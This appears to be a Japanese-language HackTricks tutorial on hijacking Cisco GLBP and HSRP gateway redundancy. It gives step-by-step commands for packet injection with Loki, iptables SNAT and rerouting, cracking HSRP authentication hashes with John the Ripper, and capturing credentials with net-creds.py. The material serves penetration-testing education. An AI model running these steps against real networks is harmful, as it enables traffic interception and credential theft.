GLBP & HSRP Attacks

Reading time: 12 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

FHRP Hijacking Overview

Insights into FHRP

FHRPは、複数のルーターを単一の仮想ユニットに統合することでネットワークの堅牢性を提供するように設計されており、負荷分散と障害耐性を向上させます。Cisco Systemsは、このスイートにおいてGLBPやHSRPなどの主要なプロトコルを導入しました。

GLBP Protocol Insights

Ciscoの作成したGLBPは、TCP/IPスタック上で機能し、通信にはポート3222のUDPを利用します。GLBPグループ内のルーターは、3秒ごとに「hello」パケットを交換します。ルーターがこれらのパケットを10秒間送信しない場合、そのルーターはオフラインと見なされます。ただし、これらのタイマーは固定されておらず、変更可能です。

GLBP Operations and Load Distribution

GLBPは、単一の仮想IPと複数の仮想MACアドレスを使用してルーター間で負荷分散を可能にすることで際立っています。GLBPグループ内では、すべてのルーターがパケット転送に関与します。HSRP/VRRPとは異なり、GLBPは複数のメカニズムを通じて真の負荷分散を提供します:

  • Host-Dependent Load Balancing: ホストに対して一貫したAVF MACアドレスの割り当てを維持し、安定したNAT構成に不可欠です。
  • Round-Robin Load Balancing: デフォルトのアプローチで、要求するホスト間でAVF MACアドレスの割り当てを交互に行います。
  • Weighted Round-Robin Load Balancing: 事前定義された「Weight」メトリックに基づいて負荷を分配します。

Key Components and Terminologies in GLBP

  • AVG (Active Virtual Gateway): MACアドレスをピアルーターに割り当てる主ルーターです。
  • AVF (Active Virtual Forwarder): ネットワークトラフィックを管理するために指定されたルーターです。
  • GLBP Priority: AVGを決定するメトリックで、デフォルトは100で、1から255の範囲です。
  • GLBP Weight: ルーターの現在の負荷を反映し、手動またはオブジェクトトラッキングを通じて調整可能です。
  • GLBP Virtual IP Address: すべての接続デバイスのネットワークのデフォルトゲートウェイとして機能します。

GLBPは、予約されたマルチキャストアドレス224.0.0.102とUDPポート3222を使用して相互作用します。ルーターは3秒ごとに「hello」パケットを送信し、10秒間パケットが欠落した場合は非稼働と見なされます。

GLBP Attack Mechanism

攻撃者は、最も高い優先度値(255)を持つGLBPパケットを送信することで、主ルーターになることができます。これにより、DoSまたはMITM攻撃が発生し、トラフィックの傍受やリダイレクトが可能になります。

Executing a GLBP Attack with Loki

Lokiは、優先度と重みを255に設定したパケットを注入することでGLBP攻撃を実行できます。攻撃前のステップには、Wiresharkなどのツールを使用して仮想IPアドレス、認証の有無、ルーターの優先度値などの情報を収集することが含まれます。

Attack Steps:

  1. プロミスキャスモードに切り替え、IP転送を有効にします。
  2. 対象ルーターを特定し、そのIPを取得します。
  3. Gratuitous ARPを生成します。
  4. AVGを偽装した悪意のあるGLBPパケットを注入します。
  5. 攻撃者のネットワークインターフェースにGLBP仮想IPを反映させた二次IPアドレスを割り当てます。
  6. 完全なトラフィック可視性のためにSNATを実装します。
  7. 元のAVGルーターを通じてインターネットアクセスを維持するためにルーティングを調整します。

これらのステップに従うことで、攻撃者は「中間者」として位置づけられ、ネットワークトラフィックを傍受し、暗号化されていないデータや機密データを分析することが可能になります。

デモ用に必要なコマンドスニペットは以下の通りです:

bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

トラフィックの監視と傍受は、net-creds.pyや同様のツールを使用して、侵害されたネットワークを流れるデータをキャプチャし、分析することで行うことができます。

HSRPハイジャックの受動的説明とコマンドの詳細

HSRP(ホットスタンバイルーター/冗長プロトコル)の概要

HSRPは、ネットワークゲートウェイの冗長性のために設計されたCiscoの独自プロトコルです。複数の物理ルーターを共有IPアドレスを持つ単一の論理ユニットに構成することを可能にします。この論理ユニットは、トラフィックを指示する責任を持つプライマリルーターによって管理されます。GLBPとは異なり、HSRPはトラフィック管理のために単一のアクティブルーターに依存します。

HSRPにおける役割と用語

  • HSRPアクティブルーター: ゲートウェイとして機能し、トラフィックフローを管理するデバイス。
  • HSRPスタンバイルーター: アクティブルーターが故障した場合に引き継ぐ準備ができているバックアップルーター。
  • HSRPグループ: 単一の堅牢な仮想ルーターを形成するために協力するルーターのセット。
  • HSRP MACアドレス: HSRP設定における論理ルーターに割り当てられた仮想MACアドレス。
  • HSRP仮想IPアドレス: 接続されたデバイスのデフォルトゲートウェイとして機能するHSRPグループの仮想IPアドレス。

HSRPのバージョン

HSRPには、グループ容量、マルチキャストIPの使用、および仮想MACアドレス構造が主に異なるHSRPv1とHSRPv2の2つのバージョンがあります。このプロトコルは、サービス情報交換のために特定のマルチキャストIPアドレスを利用し、Helloパケットは3秒ごとに送信されます。10秒間パケットが受信されない場合、ルーターは非アクティブと見なされます。

HSRP攻撃メカニズム

HSRP攻撃は、最大優先度値を注入することによってアクティブルーターの役割を強制的に引き継ぐことを含みます。これにより、Man-In-The-Middle(MITM)攻撃が発生する可能性があります。攻撃前の重要なステップには、HSRP設定に関するデータを収集することが含まれ、これはWiresharkを使用してトラフィック分析を行うことで実施できます。

HSRP認証をバイパスする手順

  1. HSRPデータを含むネットワークトラフィックを.pcapファイルとして保存します。
shell
tcpdump -w hsrp_traffic.pcap
  1. hsrp2john.pyを使用して.pcapファイルからMD5ハッシュを抽出します。
shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. John the Ripperを使用してMD5ハッシュをクラックします。
shell
john --wordlist=mywordlist.txt hsrp_hashes

Lokiを使用したHSRPインジェクションの実行

  1. Lokiを起動してHSRP広告を特定します。
  2. ネットワークインターフェースをプロミスキャスモードに設定し、IPフォワーディングを有効にします。
shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Lokiを使用して特定のルーターをターゲットにし、クラックしたHSRPパスワードを入力し、アクティブルーターを偽装するために必要な設定を行います。
  2. アクティブルーターの役割を取得した後、ネットワークインターフェースとIPテーブルを設定して正当なトラフィックを傍受します。
shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. ルーティングテーブルを変更して、トラフィックを以前のアクティブルーターを通過させます。
shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. net-creds.pyや同様のユーティリティを使用して、傍受したトラフィックから資格情報をキャプチャします。
shell
sudo python2 net-creds.py -i eth0

これらの手順を実行することで、攻撃者はトラフィックを傍受し、操作する立場に置かれ、GLBPハイジャックの手順と類似しています。これは、HSRPのような冗長プロトコルの脆弱性と、堅牢なセキュリティ対策の必要性を強調しています。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする